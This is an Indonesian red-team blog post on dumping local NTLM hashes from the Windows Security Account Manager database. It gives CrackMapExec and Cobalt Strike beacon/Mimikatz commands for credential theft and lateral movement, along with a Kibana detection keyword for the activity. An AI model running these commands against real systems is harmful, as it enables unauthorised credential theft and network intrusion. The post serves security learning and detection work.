Post

[Credential Theft] Security Account Manager

Posted Updated
By Nairpaa 1 min read

Security Account Manager (SAM) adalah database di sistem operasi Windows yang menyimpan pengguna lokal dan kredensial terkait.

Hash NTLM dari akun lokal ini dapat diekstraksi dengan modul Mimikatz lsadump::sam. Jika kredensial administrator lokal digunakan pada seluruh lingkungan, ini dapat membuat lateral movement menjadi sangat mudah.

0x1 - Exploitation Stages

Perintah ini memerlukan hak akses yang lebih tinggi.

A. CrackMapExec

1
2

➜ crackmapexec smb <IP> -u <User> -p <Password> --sam
➜ crackmapexec smb <IP> -u <User> -p <Password> --sam --local-auth

B. Beacon + Mimikatz

1

beacon> mimikatz !lsadump::sam

OPSEC

Modul Mimikatz ini akan membuka handle ke SAM registry hive.

Kita bisa menggunakan kata kunci “Suspicious SAM Hive Handle” pada Kibana untuk melihat log ini.

0x2 - References

  • https://adsecurity.org/?page_id=1821
  • https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz
  • https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/credential-dumping/security-account-manager-sam
Active Directory, Post Compromise Attack
red team active directory hacking windows hacking post compromise attack credential theft mimikatz cobalt strike sam
This post is licensed under CC BY 4.0 by the author.